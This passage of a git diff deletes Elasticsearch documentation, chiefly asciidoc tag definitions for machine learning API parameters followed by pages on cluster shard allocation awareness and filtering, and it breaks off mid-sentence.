-tag::filter-id[]
-A string that uniquely identifies a filter.
-end::filter-id[]
-
-tag::forecast-total[]
-The number of individual forecasts currently available for the job. A value of
-`1` or more indicates that forecasts exist.
-end::forecast-total[]
-
-tag::frequency[]
-The interval at which scheduled queries are made while the {dfeed} runs in real
-time. The default value is either the bucket span for short bucket spans, or,
-for longer bucket spans, a sensible fraction of the bucket span. For example:
-`150s`. When `frequency` is shorter than the bucket span, interim results for
-the last (partial) bucket are written then eventually overwritten by the full
-bucket results. If the {dfeed} uses aggregations, this value must be divisible
-by the interval of the date histogram aggregation.
-end::frequency[]
-
-tag::frequent-category-count[]
-The number of categories that match more than 1% of categorized documents.
-end::frequent-category-count[]
-
-tag::from[]
-Skips the specified number of {dfanalytics-jobs}. The default value is `0`.
-end::from[]
-
-tag::from-models[]
-Skips the specified number of models. The default value is `0`.
-end::from-models[]
-
-tag::function[]
-The analysis function that is used. For example, `count`, `rare`, `mean`, `min`,
-`max`, and `sum`. For more information, see
-{ml-docs}/ml-functions.html[Function reference].
-end::function[]
-
-tag::gamma[]
-Advanced configuration option. Regularization parameter to prevent overfitting
-on the training data set. Multiplies a linear penalty associated with the size of
-individual trees in the forest. The higher the value the more training will
-prefer smaller trees. The smaller this parameter the larger individual trees
-will be and the longer training will take. By default, this value is calculated
-during hyperparameter optimization.
-end::gamma[]
-
-tag::groups[]
-A list of job groups. A job can belong to no groups or many.
-end::groups[]
-
-tag::indices[]
-An array of index names. Wildcards are supported. For example:
-`["it_ops_metrics", "server*"]`.
-+
---
-NOTE: If any indices are in remote clusters then `node.remote_cluster_client`
-must not be set to `false` on any {ml} nodes.
-
---
-end::indices[]
-
-tag::indices-options[]
-Specifies index expansion options that are used during search.
-+
---
-For example:
-```
-{
-   "expand_wildcards": ["all"],
-   "ignore_unavailable": true,
-   "allow_no_indices": "false",
-   "ignore_throttled": true
-}
-```
-For more information about these options, see <<multi-index>>.
---
-end::indices-options[]
-
-tag::inference-config-classification-num-top-classes[]
-Specifies the number of top class predictions to return. Defaults to 0.
-end::inference-config-classification-num-top-classes[]
-
-tag::inference-config-classification-num-top-feature-importance-values[]
-Specifies the maximum number of
-{ml-docs}/ml-feature-importance.html[{feat-imp}] values per document. By
-default, it is zero and no {feat-imp} calculation occurs.
-end::inference-config-classification-num-top-feature-importance-values[]
-
-tag::inference-config-classification-top-classes-results-field[]
-Specifies the field to which the top classes are written. Defaults to
-`top_classes`.
-end::inference-config-classification-top-classes-results-field[]
-
-tag::inference-config-classification-prediction-field-type[]
-Specifies the type of the predicted field to write.
-Acceptable values are: `string`, `number`, `boolean`. When `boolean` is provided
-`1.0` is transformed to `true` and `0.0` to `false`.
-end::inference-config-classification-prediction-field-type[]
-
-tag::inference-config-regression-num-top-feature-importance-values[]
-Specifies the maximum number of
-{ml-docs}/ml-feature-importance.html[{feat-imp}] values per document.
-By default, it is zero and no {feat-imp} calculation occurs.
-end::inference-config-regression-num-top-feature-importance-values[]
-
-tag::inference-config-results-field[]
-The field that is added to incoming documents to contain the inference
-prediction. Defaults to `predicted_value`.
-end::inference-config-results-field[]
-
-tag::inference-config-results-field-processor[]
-The field that is added to incoming documents to contain the inference
-prediction. Defaults to the `results_field` value of the {dfanalytics-job} that was
-used to train the model, which defaults to `<dependent_variable>_prediction`.
-end::inference-config-results-field-processor[]
-
-tag::inference-metadata-feature-importance-feature-name[]
-The feature for which this importance was calculated.
-end::inference-metadata-feature-importance-feature-name[]
-tag::inference-metadata-feature-importance-magnitude[]
-The average magnitude of this feature across all the training data.
-This value is the average of the absolute values of the importance
-for this feature.
-end::inference-metadata-feature-importance-magnitude[]
-tag::inference-metadata-feature-importance-max[]
-The maximum importance value across all the training data for this
-feature.
-end::inference-metadata-feature-importance-max[]
-tag::inference-metadata-feature-importance-min[]
-The minimum importance value across all the training data for this
-feature.
-end::inference-metadata-feature-importance-min[]
-
-tag::influencers[]
-A comma separated list of influencer field names. Typically these can be the by,
-over, or partition fields that are used in the detector configuration. You might
-also want to use a field name that is not specifically named in a detector, but
-is available as part of the input data. When you use multiple detectors, the use
-of influencers is recommended as it aggregates results for each influencer
-entity.
-end::influencers[]
-
-tag::input-bytes[]
-The number of bytes of input data posted to the {anomaly-job}.
-end::input-bytes[]
-
-tag::input-field-count[]
-The total number of fields in input documents posted to the {anomaly-job}. This
-count includes fields that are not used in the analysis. However, be aware that
-if you are using a {dfeed}, it extracts only the required fields from the
-documents it retrieves before posting them to the job.
-end::input-field-count[]
-
-tag::input-record-count[]
-The number of input documents posted to the {anomaly-job}.
-end::input-record-count[]
-
-tag::invalid-date-count[]
-The number of input documents with either a missing date field or a date that
-could not be parsed.
-end::invalid-date-count[]
-
-tag::is-interim[]
-If `true`, this is an interim result. In other words, the results are calculated
-based on partial input data.
-end::is-interim[]
-
-tag::job-id-anomaly-detection[]
-Identifier for the {anomaly-job}.
-end::job-id-anomaly-detection[]
-
-tag::job-id-anomaly-detection-default[]
-Identifier for the {anomaly-job}. It can be a job identifier, a group name, or a
-wildcard expression. If you do not specify one of these options, the API returns
-information for all {anomaly-jobs}.
-end::job-id-anomaly-detection-default[]
-
-tag::job-id-anomaly-detection-define[]
-Identifier for the {anomaly-job}. This identifier can contain lowercase
-alphanumeric characters (a-z and 0-9), hyphens, and underscores. It must start
-and end with alphanumeric characters.
-end::job-id-anomaly-detection-define[]
-
-tag::job-id-anomaly-detection-list[]
-An identifier for the {anomaly-jobs}. It can be a job
-identifier, a group name, or a comma-separated list of jobs or groups.
-end::job-id-anomaly-detection-list[]
-
-tag::job-id-anomaly-detection-wildcard[]
-Identifier for the {anomaly-job}. It can be a job identifier, a group name, or a
-wildcard expression.
-end::job-id-anomaly-detection-wildcard[]
-
-tag::job-id-anomaly-detection-wildcard-list[]
-Identifier for the {anomaly-job}. It can be a job identifier, a group name, a
-comma-separated list of jobs or groups, or a wildcard expression.
-end::job-id-anomaly-detection-wildcard-list[]
-
-tag::job-id-data-frame-analytics[]
-Identifier for the {dfanalytics-job}.
-end::job-id-data-frame-analytics[]
-
-tag::job-id-data-frame-analytics-default[]
-Identifier for the {dfanalytics-job}. If you do not specify this option, the API
-returns information for the first hundred {dfanalytics-jobs}.
-end::job-id-data-frame-analytics-default[]
-
-tag::job-id-data-frame-analytics-define[]
-Identifier for the {dfanalytics-job}. This identifier can contain lowercase
-alphanumeric characters (a-z and 0-9), hyphens, and underscores. It must start
-and end with alphanumeric characters.
-end::job-id-data-frame-analytics-define[]
-
-tag::job-id-datafeed[]
-The unique identifier for the job to which the {dfeed} sends data.
-end::job-id-datafeed[]
-
-tag::jobs-stats-anomaly-detection[]
-An array of {anomaly-job} statistics objects.
-For more information, see <<ml-jobstats>>.
-end::jobs-stats-anomaly-detection[]
-
-tag::lambda[]
-Advanced configuration option. Regularization parameter to prevent overfitting
-on the training data set. Multiplies an L2 regularisation term which applies to
-leaf weights of the individual trees in the forest. The higher the value the
-more training will attempt to keep leaf weights small. This makes the prediction
-function smoother at the expense of potentially not being able to capture
-relevant relationships between the features and the {depvar}. The smaller this
-parameter the larger individual trees will be and the longer training will take.
-By default, this value is calculated during hyperparameter optimization.
-end::lambda[]
-
-tag::last-data-time[]
-The timestamp at which data was last analyzed, according to server time.
-end::last-data-time[]
-
-tag::latency[]
-The size of the window in which to expect data that is out of time order. The
-default value is 0 (no latency). If you specify a non-zero value, it must be
-greater than or equal to one second. For more information about time units, see
-<<time-units>>.
-+
---
-NOTE: Latency is only applicable when you send data by using
-the <<ml-post-data,post data>> API.
-
---
-end::latency[]
-
-tag::latest-empty-bucket-timestamp[]
-The timestamp of the last bucket that did not contain any data.
-end::latest-empty-bucket-timestamp[]
-
-tag::latest-record-timestamp[]
-The timestamp of the latest chronologically input document.
-end::latest-record-timestamp[]
-
-tag::latest-sparse-record-timestamp[]
-The timestamp of the last bucket that was considered sparse.
-end::latest-sparse-record-timestamp[]
-
-tag::max-empty-searches[]
-If a real-time {dfeed} has never seen any data (including during any initial
-training period) then it will automatically stop itself and close its associated
-job after this many real-time searches that return no documents. In other words,
-it will stop after `frequency` times `max_empty_searches` of real-time
-operation. If not set then a {dfeed} with no end time that sees no data will
-remain started until it is explicitly stopped. By default this setting is not
-set.
-end::max-empty-searches[]
-
-tag::max-trees[]
-Advanced configuration option. Defines the maximum number of trees the forest is
-allowed to contain. The maximum value is 2000. By default, this value is
-calculated during hyperparameter optimization.
-end::max-trees[]
-
-tag::method[]
-The method that {oldetection} uses. Available methods are `lof`, `ldof`,
-`distance_kth_nn`, `distance_knn`, and `ensemble`. The default value is
-`ensemble`, which means that {oldetection} uses an ensemble of different methods
-and normalises and combines their individual {olscores} to obtain the overall
-{olscore}.
-end::method[]
-
-tag::missing-field-count[]
-The number of input documents that are missing a field that the {anomaly-job} is
-configured to analyze. Input documents with missing fields are still processed
-because it is possible that not all fields are missing.
-+
---
-NOTE: If you are using {dfeeds} or posting data to the job in JSON format, a
-high `missing_field_count` is often not an indication of data issues. It is not
-necessarily a cause for concern.
-
---
-end::missing-field-count[]
-
-tag::mode[]
-There are three available modes:
-+
---
-* `auto`: The chunk size is dynamically calculated. This is the default and
-recommended value when the {dfeed} does not use aggregations.
-* `manual`: Chunking is applied according to the specified `time_span`. Use this 
-mode when the {dfeed} uses aggregations.
-* `off`: No chunking is applied.
---
-end::mode[]
-
-tag::model-bytes[]
-The number of bytes of memory used by the models. This is the maximum value
-since the last time the model was persisted. If the job is closed, this value
-indicates the latest size.
-end::model-bytes[]
-
-tag::model-bytes-exceeded[]
-The number of bytes over the high limit for memory usage at the last allocation
-failure.
-end::model-bytes-exceeded[]
-
-tag::model-id[]
-The unique identifier of the trained model.
-end::model-id[]
-
-tag::model-memory-limit[]
-The approximate maximum amount of memory resources that are required for
-analytical processing. Once this limit is approached, data pruning becomes
-more aggressive. Upon exceeding this limit, new entities are not modeled. The
-default value for jobs created in version 6.1 and later is `1024mb`.
-This value will need to be increased for jobs that are expected to analyze high
-cardinality fields, but the default is set to a relatively small size to ensure
-that high resource usage is a conscious decision. The default value for jobs
-created in versions earlier than 6.1 is `4096mb`.
-+
-If you specify a number instead of a string, the units are assumed to be MiB.
-Specifying a string is recommended for clarity. If you specify a byte size unit
-of `b` or `kb` and the number does not equate to a discrete number of megabytes,
-it is rounded down to the closest MiB. The minimum valid value is 1 MiB. If you
-specify a value less than 1 MiB, an error occurs. For more information about
-supported byte size units, see <<byte-units>>.
-+
-If your `elasticsearch.yml` file contains an `xpack.ml.max_model_memory_limit`
-setting, an error occurs when you try to create jobs that have
-`model_memory_limit` values greater than that setting. For more information,
-see <<ml-settings>>.
-end::model-memory-limit[]
-
-tag::model-memory-limit-anomaly-jobs[]
-The upper limit for model memory usage, checked on increasing values.
-end::model-memory-limit-anomaly-jobs[]
-
-tag::model-memory-status[]
-The status of the mathematical models, which can have one of the following
-values:
-+
---
-* `ok`: The models stayed below the configured value.
-* `soft_limit`: The models used more than 60% of the configured memory limit
-and older unused models will be pruned to free up space. Additionally, in
-categorization jobs no further category examples will be stored.
-* `hard_limit`: The models used more space than the configured memory limit.
-As a result, not all incoming data was processed.
---
-end::model-memory-status[]
-
-tag::model-plot-config[]
-This advanced configuration option stores model information along with the
-results. It provides a more detailed view into {anomaly-detect}.
-+
---
-WARNING: If you enable model plot it can add considerable overhead to the
-performance of the system; it is not feasible for jobs with many entities.
-
-Model plot provides a simplified and indicative view of the model and its
-bounds. It does not display complex features such as multivariate correlations
-or multimodal data. As such, anomalies may occasionally be reported which cannot
-be seen in the model plot.
-
-Model plot config can be configured when the job is created or updated later. It
-must be disabled if performance issues are experienced.
---
-end::model-plot-config[]
-
-tag::model-plot-config-annotations-enabled[]
-If true, enables calculation and storage of the model change annotations
-for each entity that is being analyzed. Defaults to `enabled`.
-end::model-plot-config-annotations-enabled[]
-
-tag::model-plot-config-enabled[]
-If true, enables calculation and storage of the model bounds for each entity
-that is being analyzed. By default, this is not enabled.
-end::model-plot-config-enabled[]
-
-tag::model-plot-config-terms[]
-Limits data collection to this comma separated list of partition or by field
-values. If terms are not specified or it is an empty string, no filtering is
-applied. For example, "CPU,NetworkIn,DiskWrites". Wildcards are not supported.
-Only the specified `terms` can be viewed when using the Single Metric Viewer.
-end::model-plot-config-terms[]
-
-tag::model-snapshot-retention-days[]
-Advanced configuration option, which affects the automatic removal of old model
-snapshots for this job. It specifies the maximum period of time (in days) that
-snapshots are retained. This period is relative to the timestamp of the most
-recent snapshot for this job. The default value is `10`, which means snapshots
-ten days older than the newest snapshot are deleted. For more information, refer
-to {ml-docs}/ml-model-snapshots.html[Model snapshots].
-end::model-snapshot-retention-days[]
-
-tag::model-timestamp[]
-The timestamp of the last record when the model stats were gathered.
-end::model-timestamp[]
-
-tag::multivariate-by-fields[]
-This functionality is reserved for internal use. It is not supported for use in
-customer environments and is not subject to the support SLA of official GA
-features.
-+
---
-If set to `true`, the analysis will automatically find correlations between
-metrics for a given `by` field value and report anomalies when those
-correlations cease to hold. For example, suppose CPU and memory usage on host A
-is usually highly correlated with the same metrics on host B. Perhaps this
-correlation occurs because they are running a load-balanced application.
-If you enable this property, then anomalies will be reported when, for example,
-CPU usage on host A is high and the value of CPU usage on host B is low. That
-is to say, you'll see an anomaly when the CPU of host A is unusual given
-the CPU of host B.
-
-NOTE: To use the `multivariate_by_fields` property, you must also specify
-`by_field_name` in your detector.
-
---
-end::multivariate-by-fields[]
-
-tag::n-neighbors[]
-Defines the value for how many nearest neighbors each method of {oldetection}
-uses to calculate its {olscore}. When the value is not set, different values are
-used for different ensemble members. This deafault behavior helps improve the
-diversity in the ensemble; only override it if you are confident that the value
-you choose is appropriate for the data set.
-end::n-neighbors[]
-
-tag::node-address[]
-The network address of the node.
-end::node-address[]
-
-tag::node-attributes[]
-Lists node attributes such as `ml.machine_memory` or `ml.max_open_jobs` settings.
-end::node-attributes[]
-
-tag::node-datafeeds[]
-For started {dfeeds} only, this information pertains to the node upon which the
-{dfeed} is started.
-end::node-datafeeds[]
-
-tag::node-ephemeral-id[]
-The ephemeral ID of the node.
-end::node-ephemeral-id[]
-
-tag::node-id[]
-The unique identifier of the node.
-end::node-id[]
-
-tag::node-jobs[]
-Contains properties for the node that runs the job. This information is
-available only for open jobs.
-end::node-jobs[]
-
-tag::node-transport-address[]
-The host and port where transport HTTP connections are accepted.
-end::node-transport-address[]
-
-tag::open-time[]
-For open jobs only, the elapsed time for which the job has been open.
-end::open-time[]
-
-tag::outlier-fraction[]
-The proportion of the data set that is assumed to be outlying prior to
-{oldetection}. For example, 0.05 means it is assumed that 5% of values are real
-outliers and 95% are inliers.
-end::outlier-fraction[]
-
-tag::out-of-order-timestamp-count[]
-The number of input documents that are out of time sequence and outside
-of the latency window. This information is applicable only when you provide data
-to the {anomaly-job} by using the <<ml-post-data,post data API>>. These out of
-order documents are  discarded, since jobs require time series data to be in
-ascending chronological order.
-end::out-of-order-timestamp-count[]
-
-tag::over-field-name[]
-The field used to split the data. In particular, this property is used for
-analyzing the splits with respect to the history of all splits. It is used for
-finding unusual values in the population of all splits. For more information,
-see {ml-docs}/ml-configuring-populations.html[Performing population analysis].
-end::over-field-name[]
-
-tag::partition-field-name[]
-The field used to segment the analysis. When you use this property, you have
-completely independent baselines for each value of this field.
-end::partition-field-name[]
-
-tag::peak-model-bytes[]
-The peak number of bytes of memory ever used by the models.
-end::peak-model-bytes[]
-
-tag::per-partition-categorization[]
-Settings related to how categorization interacts with partition fields.
-end::per-partition-categorization[]
-
-tag::per-partition-categorization-enabled[]
-To enable this setting, you must also set the partition_field_name property to
-the same value in every detector that uses the keyword mlcategory. Otherwise,
-job creation fails.
-end::per-partition-categorization-enabled[]
-
-tag::per-partition-categorization-stop-on-warn[]
-This setting can be set to true only if per-partition categorization is enabled.
-If true, both categorization and subsequent anomaly detection stops for
-partitions where the categorization status changes to `warn`. This setting makes
-it viable to have a job where it is expected that categorization works well for
-some partitions but not others; you do not pay the cost of bad categorization
-forever in the partitions where it works badly.
-end::per-partition-categorization-stop-on-warn[]
-
-tag::prediction-field-name[]
-Defines the name of the prediction field in the results.
-Defaults to `<dependent_variable>_prediction`.
-end::prediction-field-name[]
-
-tag::processed-field-count[]
-The total number of fields in all the documents that have been processed by the
-{anomaly-job}. Only fields that are specified in the detector configuration
-object contribute to this count. The timestamp is not included in this count.
-end::processed-field-count[]
-
-tag::processed-record-count[]
-The number of input documents that have been processed by the {anomaly-job}.
-This value includes documents with missing fields, since they are nonetheless
-analyzed. If you use {dfeeds} and have aggregations in your search query, the
-`processed_record_count` is the number of aggregation results processed, not the
-number of {es} documents.
-end::processed-record-count[]
-
-tag::query[]
-The {es} query domain-specific language (DSL). This value corresponds to the
-query object in an {es} search POST body. All the options that are supported by
-{es} can be used, as this object is passed verbatim to {es}. By default, this
-property has the following value: `{"match_all": {"boost": 1}}`.
-end::query[]
-
-tag::query-delay[]
-The number of seconds behind real time that data is queried. For example, if
-data from 10:04 a.m. might not be searchable in {es} until 10:06 a.m., set this
-property to 120 seconds. The default value is randomly selected between `60s`
-and `120s`. This randomness improves the query performance when there are
-multiple jobs running on the same node. For more information, see
-{ml-docs}/ml-delayed-data-detection.html[Handling delayed data].
-end::query-delay[]
-
-tag::randomize-seed[]
-Defines the seed to the random generator that is used to pick
-which documents will be used for training. By default it is randomly generated.
-Set it to a specific value to ensure the same documents are used for training
-assuming other related parameters (e.g. `source`, `analyzed_fields`, etc.) are
-the same.
-end::randomize-seed[]
-
-tag::rare-category-count[]
-The number of categories that match just one categorized document.
-end::rare-category-count[]
-
-tag::renormalization-window-days[]
-Advanced configuration option. The period over which adjustments to the score
-are applied, as new data is seen. The default value is the longer of 30 days or
-100 `bucket_spans`.
-end::renormalization-window-days[]
-
-tag::results-index-name[]
-A text string that affects the name of the {ml} results index. The default value
-is `shared`, which generates an index named `.ml-anomalies-shared`.
-end::results-index-name[]
-
-tag::results-retention-days[]
-Advanced configuration option. The period of time (in days) that results are
-retained. Age is calculated relative to the timestamp of the latest bucket
-result. If this property has a non-null value, once per day at 00:30 (server
-time), results that are the specified number of days older than the latest
-bucket result are deleted from {es}. The default value is null, which means all
-results are retained.
-end::results-retention-days[]
-
-tag::retain[]
-If `true`, this snapshot will not be deleted during automatic cleanup of
-snapshots older than `model_snapshot_retention_days`. However, this snapshot
-will be deleted when the job is deleted. The default value is `false`.
-end::retain[]
-
-tag::script-fields[]
-Specifies scripts that evaluate custom expressions and returns script fields to
-the {dfeed}. The detector configuration objects in a job can contain functions
-that use these script fields. For more information, see
-{ml-docs}/ml-configuring-transform.html[Transforming data with script fields]
-and <<script-fields,Script fields>>.
-end::script-fields[]
-
-tag::scroll-size[]
-The `size` parameter that is used in {es} searches when the {dfeed} does not use 
-aggregations. The default value is `1000`. The maximum value is the value of 
-`index.max_result_window` which is 10,000 by default.
-end::scroll-size[]
-
-tag::search-bucket-avg[]
-The average search time per bucket, in milliseconds.
-end::search-bucket-avg[]
-
-tag::search-count[]
-The number of searches run by the {dfeed}.
-end::search-count[]
-
-tag::search-exp-avg-hour[]
-The exponential average search time per hour, in milliseconds.
-end::search-exp-avg-hour[]
-
-tag::search-time[]
-The total time the {dfeed} spent searching, in milliseconds.
-end::search-time[]
-
-tag::size[]
-Specifies the maximum number of {dfanalytics-jobs} to obtain. The default value
-is `100`.
-end::size[]
-
-tag::size-models[]
-Specifies the maximum number of models to obtain. The default value
-is `100`.
-end::size-models[]
-
-tag::snapshot-id[]
-A numerical character string that uniquely identifies the model snapshot.
-end::snapshot-id[]
-
-tag::sparse-bucket-count[]
-The number of buckets that contained few data points compared to the expected
-number of data points. If your data contains many sparse buckets, consider using
-a longer `bucket_span`.
-end::sparse-bucket-count[]
-
-tag::standardization-enabled[]
-If `true`, the following operation is performed on the columns before computing
-{olscores}: (x_i - mean(x_i)) / sd(x_i). Defaults to `true`. For
-more information about this concept, see
-https://en.wikipedia.org/wiki/Feature_scaling#Standardization_(Z-score_Normalization)[Wikipedia].
-end::standardization-enabled[]
-
-tag::state-anomaly-job[]
-The status of the {anomaly-job}, which can be one of the following values:
-+
---
-* `closed`: The job finished successfully with its model state persisted. The
-job must be opened before it can accept further data.
-* `closing`: The job close action is in progress and has not yet completed. A
-closing job cannot accept further data.
-* `failed`: The job did not finish successfully due to an error. This situation
-can occur due to invalid input data, a fatal error occurring during the
-analysis, or an external interaction such as the process being killed by the
-Linux out of memory (OOM) killer. If the job had irrevocably failed, it must be
-force closed and then deleted. If the {dfeed} can be corrected, the job can be
-closed and then re-opened.
-* `opened`: The job is available to receive and process data.
-* `opening`: The job open action is in progress and has not yet completed.
---
-end::state-anomaly-job[]
-
-tag::state-datafeed[]
-The status of the {dfeed}, which can be one of the following values:
-+
---
-* `starting`: The {dfeed} has been requested to start but has not yet started.
-* `started`: The {dfeed} is actively receiving data.
-* `stopping`: The {dfeed} has been requested to stop gracefully and is
-completing its final action.
-* `stopped`: The {dfeed} is stopped and will not receive data until it is
-re-started.
---
-end::state-datafeed[]
-
-tag::summary-count-field-name[]
-If this property is specified, the data that is fed to the job is expected to be
-pre-summarized. This property value is the name of the field that contains the
-count of raw data points that have been summarized. The same
-`summary_count_field_name` applies to all detectors in the job.
-+
---
-NOTE: The `summary_count_field_name` property cannot be used with the `metric`
-function.
-
---
-end::summary-count-field-name[]
-
-tag::tags[]
-A comma delimited string of tags. A trained model can have many tags, or none.
-When supplied, only trained models that contain all the supplied tags are
-returned.
-end::tags[]
-
-tag::time-format[]
-The time format, which can be `epoch`, `epoch_ms`, or a custom pattern. The
-default value is `epoch`, which refers to UNIX or Epoch time (the number of
-seconds since 1 Jan 1970). The value `epoch_ms` indicates that time is measured
-in milliseconds since the epoch. The `epoch` and `epoch_ms` time formats accept
-either integer or real values. +
-+
-NOTE: Custom patterns must conform to the Java `DateTimeFormatter` class.
-When you use date-time formatting patterns, it is recommended that you provide
-the full date, time and time zone. For example: `yyyy-MM-dd'T'HH:mm:ssX`.
-If the pattern that you specify is not sufficient to produce a complete
-timestamp, job creation fails.
-end::time-format[]
-
-tag::time-span[]
-The time span that each search will be querying. This setting is only applicable
-when the mode is set to `manual`. For example: `3h`.
-end::time-span[]
-
-tag::timeout-start[]
-Controls the amount of time to wait until the {dfanalytics-job} starts. Defaults
-to 20 seconds.
-end::timeout-start[]
-
-tag::timeout-stop[]
-Controls the amount of time to wait until the {dfanalytics-job} stops. Defaults
-to 20 seconds.
-end::timeout-stop[]
-
-tag::timestamp-results[]
-The start time of the bucket for which these results were calculated.
-end::timestamp-results[]
-
-tag::tokenizer[]
-The name or definition of the <<analysis-tokenizers,tokenizer>> to use after
-character filters are applied. This property is compulsory if
-`categorization_analyzer` is specified as an object. Machine learning provides a
-tokenizer called `ml_classic` that tokenizes in the same way as the
-non-customizable tokenizer in older versions of the product. If you want to use
-that tokenizer but change the character or token filters, specify
-`"tokenizer": "ml_classic"` in your `categorization_analyzer`.
-end::tokenizer[]
-
-tag::total-by-field-count[]
-The number of `by` field values that were analyzed by the models. This value is
-cumulative for all detectors in the job.
-end::total-by-field-count[]
-
-tag::total-category-count[]
-The number of categories created by categorization.
-end::total-category-count[]
-
-tag::total-over-field-count[]
-The number of `over` field values that were analyzed by the models. This value
-is cumulative for all detectors in the job.
-end::total-over-field-count[]
-
-tag::total-partition-field-count[]
-The number of `partition` field values that were analyzed by the models. This
-value is cumulative for all detectors in the job.
-end::total-partition-field-count[]
-
-tag::training-percent[]
-Defines what percentage of the eligible documents that will
-be used for training. Documents that are ignored by the analysis (for example
-those that contain arrays with more than one value) won’t be included in the
-calculation for used percentage. Defaults to `100`.
-end::training-percent[]
-
-tag::use-null[]
-Defines whether a new series is used as the null series when there is no value
-for the by or partition fields. The default value is `false`.
-end::use-null[]
-
-tag::verbose[]
-Defines whether the stats response should be verbose. The default value is `false`.
-end::verbose[]
diff --git a/docs/reference/modules/cluster.asciidoc b/docs/reference/modules/cluster.asciidoc
deleted file mode 100644
index 4b9ede54506..00000000000
--- a/docs/reference/modules/cluster.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[[modules-cluster]]
-=== Cluster-level shard allocation and routing settings
-
-_Shard allocation_ is the process of allocating shards to nodes. This can
-happen during initial recovery, replica allocation, rebalancing, or
-when nodes are added or removed.
-
-One of the main roles of the master is to decide which shards to allocate to
-which nodes, and when to move shards between nodes in order to rebalance the
-cluster.
-
-There are a number of settings available to control the shard allocation process:
-
-*   <<cluster-shard-allocation-settings>> control allocation and
-    rebalancing operations.
-
-*   <<disk-based-shard-allocation>> explains how Elasticsearch takes available
-    disk space into account, and the related settings.
-
-*   <<shard-allocation-awareness>> and <<forced-awareness>> control how shards
-    can be distributed across different racks or availability zones.
-
-*   <<cluster-shard-allocation-filtering>> allows certain nodes or groups of
-    nodes excluded from allocation so that they can be decommissioned.
-
-Besides these, there are a few other <<misc-cluster-settings,miscellaneous cluster-level settings>>.
-
-include::cluster/shards_allocation.asciidoc[]
-
-include::cluster/disk_allocator.asciidoc[]
-
-include::cluster/allocation_awareness.asciidoc[]
-
-include::cluster/allocation_filtering.asciidoc[]
-
-include::cluster/misc.asciidoc[]
diff --git a/docs/reference/modules/cluster/allocation_awareness.asciidoc b/docs/reference/modules/cluster/allocation_awareness.asciidoc
deleted file mode 100644
index 1ca4c9d8b67..00000000000
--- a/docs/reference/modules/cluster/allocation_awareness.asciidoc
+++ /dev/null
@@ -1,108 +0,0 @@
-[[shard-allocation-awareness]]
-==== Shard allocation awareness
-
-You can use custom node attributes as _awareness attributes_ to enable {es}
-to take your physical hardware configuration into account when allocating shards.
-If {es} knows which nodes are on the same physical server, in the same rack, or
-in the same zone, it can distribute the primary shard and its replica shards to
-minimise the risk of losing all shard copies in the event of a failure.
-
-When shard allocation awareness is enabled with the
-<<dynamic-cluster-setting,dynamic>>
-`cluster.routing.allocation.awareness.attributes` setting, shards are only
-allocated to nodes that have values set for the specified awareness attributes.
-If you use multiple awareness attributes, {es} considers each attribute
-separately when allocating shards.
-
-By default {es} uses <<search-adaptive-replica,adaptive replica selection>>
-to route search or GET requests. However, with the presence of allocation awareness
-attributes {es} will prefer using shards in the same location (with the same
-awareness attribute values) to process these requests. This behavior can be
-disabled by specifying `export ES_JAVA_OPTS="$ES_JAVA_OPTS -Des.search.ignore_awareness_attributes=true"`
-system property on every node that is part of the cluster.
-
-NOTE: The number of attribute values determines how many shard copies are
-allocated in each location. If the number of nodes in each location is
-unbalanced and there are a lot of replicas, replica shards might be left
-unassigned.
-
-[[enabling-awareness]]
-===== Enabling shard allocation awareness
-
-To enable shard allocation awareness:
-
-. Specify the location of each node with a custom node attribute. For example,
-if you want Elasticsearch to distribute shards across different racks, you might
-set an awareness attribute called `rack_id` in each node's `elasticsearch.yml`
-config file.
-+
-[source,yaml]
---------------------------------------------------------
-node.attr.rack_id: rack_one
---------------------------------------------------------
-+
-You can also set custom attributes when you start a node:
-+
-[source,sh]
---------------------------------------------------------
-`./bin/elasticsearch -Enode.attr.rack_id=rack_one`
---------------------------------------------------------
-
-. Tell {es} to take one or more awareness attributes into account when
-allocating shards by setting
-`cluster.routing.allocation.awareness.attributes` in *every* master-eligible
-node's `elasticsearch.yml` config file.
-+
---
-[source,yaml]
---------------------------------------------------------
-cluster.routing.allocation.awareness.attributes: rack_id <1>
---------------------------------------------------------
-<1> Specify multiple attributes as a comma-separated list.
---
-+
-You can also use the
-<<cluster-update-settings,cluster-update-settings>> API to set or update
-a cluster's awareness attributes.
-
-With this example configuration, if you start two nodes with
-`node.attr.rack_id` set to `rack_one` and create an index with 5 primary
-shards and 1 replica of each primary, all primaries and replicas are
-allocated across the two nodes.
-
-If you add two nodes with `node.attr.rack_id` set to `rack_two`,
-{es} moves shards to the new nodes, ensuring (if possible)
-that no two copies of the same shard are in the same rack.
-
-If `rack_two` fails and takes down both its nodes, by default {es}
-allocates the lost shard copies to nodes in `rack_one`. To prevent multiple
-copies of a particular shard from being allocated in the same location, you can
-enable forced awareness.
-
-[[forced-awareness]]
-===== Forced awareness
-
-By default, if one location fails, Elasticsearch assigns all of the missing
-replica shards to the remaining locations. While you might have sufficient
-resources across all locations to host your primary and replica shards, a single
-location might be unable to host *ALL* of the shards.
-
-To prevent a single location from being overloaded in the event of a failure,
-you can set `cluster.routing.allocation.awareness.force` so no replicas are
-allocated until nodes are available in another location.
-
-For example, if you have an awareness attribute called `zone` and configure nodes
-in `zone1` and `zone2`, you can use forced awareness to prevent Elasticsearch
-from allocating replicas if only one zone is available:
-
-[source,yaml]
--------------------------------------------------------------------
-cluster.routing.allocation.awareness.attributes: zone
-cluster.routing.allocation.awareness.force.zone.values: zone1,zone2 <1>
--------------------------------------------------------------------
-<1> Specify all possible values for the awareness attribute.
-
-With this example configuration, if you start two nodes with `node.attr.zone` set
-to `zone1` and create an index with 5 shards and 1 replica, Elasticsearch creates
-the index and allocates the 5 primary shards but no replicas. Replicas are
-only allocated once nodes with `node.attr.zone` set to `zone2` are available.
diff --git a/docs/reference/modules/cluster/allocation_filtering.asciidoc b/docs/reference/modules/cluster/allocation_filtering.asciidoc
deleted file mode 100644
index 8aad7a97855..00000000000
--- a/docs/reference/modules/cluster/allocation_filtering.asciidoc
+++ /dev/null
@@ -1,77 +0,0 @@
-[[cluster-shard-allocation-filtering]]
-==== Cluster-level shard allocation filtering
-
-You can use cluster-level shard allocation filters to control where {es}
-allocates shards from any index. These cluster wide filters are applied in
-conjunction with <<shard-allocation-filtering, per-index allocation filtering>>
-and <<shard-allocation-awareness, allocation awareness>>.
-
-Shard allocation filters can be based on custom node attributes or the built-in
-`_name`, `_host_ip`, `_publish_ip`, `_ip`, `_host`, `_id` and `_tier` attributes.
-
-The `cluster.routing.allocation` settings are <<dynamic-cluster-setting,dynamic>>, enabling live indices to
